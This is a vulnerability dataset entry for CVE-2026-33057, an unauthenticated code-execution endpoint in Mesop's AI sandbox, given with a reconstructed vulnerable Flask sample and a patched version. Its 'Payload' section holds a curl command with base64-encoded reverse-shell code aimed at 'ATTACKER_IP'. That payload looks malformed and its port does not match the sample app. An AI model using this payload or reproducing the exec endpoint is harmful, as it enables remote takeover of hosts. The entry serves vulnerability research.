CVE-2026-33057
Mesop <= 1.2.2 has an unauthenticated RCE in its AI testing module.
- CVSS 9.8
- CWE-94
- Input Validation and Sanitization
- Remote
Mesop is a Python-based UI framework that allows users to build web applications. In versions 1.2.2 and below, an explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path…). This issue has been fixed in version 1.2.3.
- CWE
- CWE-94
- CVSS base score
- 9.8
- Published
- 2026-03-20
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Extraneous Functionality
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Mesop
- Fixed by upgrading
- Yes
Solution
Upgrade Mesop to version 1.2.3 or later.
Vulnerable code sample
import base64
import os
import tempfile
import importlib.util
from flask import Flask, request, jsonify
# This file represents a hypothetical wsgi_app.py that could have existed
# in a debugging/testing module, as described in the CVE.
app = Flask(__name__)
def execute_module(module_path):
"""
Dynamically imports and executes a Python module from a given path.
"""
try:
# Create a module spec from the file path
spec = importlib.util.spec_from_file_location("temp_module", module_path)
if spec is None:
raise ImportError(f"Could not load spec for module at {module_path}")
# Create a new module based on the spec
module = importlib.util.module_from_spec(spec)
# Execute the module
spec.loader.exec_module(module)
return "Module executed successfully."
except Exception as e:
return f"Error executing module: {str(e)}"
@app.route("/exec-py", methods=["POST"])
def exec_py():
"""
An unprotected endpoint that accepts base64 encoded Python code,
writes it to a temporary file, and executes it.
"""
payload = request.form.get("code")
if not payload:
return jsonify({"error": "Missing 'code' parameter in POST form"}), 400
try:
# Decode the base64 encoded Python code
python_code = base64.b64decode(payload).decode("utf-8")
except Exception as e:
return jsonify({"error": f"Base64 decoding failed: {str(e)}"}), 400
# Create a temporary file to write the code to
# Using a temporary file to simulate the "saves it rapidly to the OS logic path"
fd, path = tempfile.mkstemp(suffix=".py")
try:
with os.fdopen(fd, "w") as tmp:
tmp.write(python_code)
# Execute the code from the temporary file
result = execute_module(path)
return jsonify({"status": "success", "output": result})
except Exception as e:
return jsonify({"status": "error", "message": str(e)}), 500
finally:
# Clean up the temporary file
os.remove(path)
if __name__ == "__main__":
# This server is intended for debugging but is exposed without any auth.
# Running on 0.0.0.0 makes it accessible to anyone on the network.
app.run(host="0.0.0.0", port=5001, debug=True)Patched code sample
import base64
import os
import sys
import tempfile
import importlib.util
from flask import Flask, request
# This file represents a hypothetical 'ai/sandbox/wsgi_app.py' after being
# patched for CVE-2026-33057.
# In a real-world scenario, this would likely integrate with the Mesop framework's
# core components, but for demonstrating the fix, a minimal app is sufficient.
app = Flask(__name__)
@app.route("/")
def index():
"""
A safe, example endpoint that might exist in the debugging server.
"""
return "Mesop AI sandbox server is running."
# --- VULNERABILITY FIX ---
# The vulnerability described in CVE-2026-33057 was located in an '/exec-py'
# endpoint in this file in versions 1.2.2 and below.
#
# The vulnerable endpoint accepted base64-encoded Python code from a POST
# request and executed it without any authentication or sandboxing, leading to
# Remote Code Execution (RCE).
#
# THE FIX:
# The fix for this high-severity vulnerability is the complete removal of the
# dangerous '/exec-py' endpoint. By removing the code block that defined this
# route, there is no longer a web-accessible mechanism for an unauthenticated
# user to remotely execute arbitrary code on the host machine.
#
# The vulnerable code block, which is now DELETED from this file, would have
# looked conceptually similar to the following:
#
# """
# @app.route("/exec-py", methods=["POST"])
# def exec_py_vulnerable():
# # 1. Get untrusted, base64-encoded code from the request.
# encoded_code = request.form.get("code")
# if not encoded_code:
# return "Missing 'code' parameter", 400
#
# try:
# # 2. Decode the Python code.
# python_code = base64.b64decode(encoded_code).decode("utf-8")
#
# # 3. Write it to a temporary file on the host machine.
# with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as tmp:
# tmp.write(python_code)
# module_path = tmp.name
#
# # 4. DANGEROUS: Execute the untrusted code with host-level privileges.
# spec = importlib.util.spec_from_file_location("temp_module", module_path)
# module = importlib.util.module_from_spec(spec)
# spec.loader.exec_module(module)
#
# os.remove(module_path) # Clean up the file.
# return "Execution successful", 200
#
# except Exception as e:
# return f"An error occurred: {e}", 500
# """
#
# This endpoint and its associated logic are no longer present in the fixed
# version of the application (e.g., version 1.2.3 and later).
# -------------------------
# Other non-vulnerable application routes and logic would be defined below.
# For example, a simple health check endpoint.
@app.route("/health")
def health_check():
"""
A simple, safe health check endpoint.
"""
return {"status": "ok"}, 200
# The 'app' object serves as the WSGI application entry point for servers
# like Gunicorn or uWSGI.Payload
curl -X POST http://TARGET_HOST:5000/exec-py --data-urlencode 'code=aW1wb3J0IG9zLCBzb2NrZXQsIHB0eTtza=c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3NoLmNvbm5lY3QoKCdBVFRBQ0tFUl9JUCcsNDQ0NCkpO29zLmR1cDIoc2guZmlsZW5vKCksMCk7IG9zLmR1cDIoc2guZmlsZW5vKCksMSk7IG9zLmR1cDIoc2guZmlsZW5vKCksMik7cHR5LnNwYXduKCIvYmluL2Jhc2giKQ=='
Cite this entry
@misc{vaitp:cve202633057,
title = {{Mesop <= 1.2.2 has an unauthenticated RCE in its AI testing module.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-33057},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33057/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
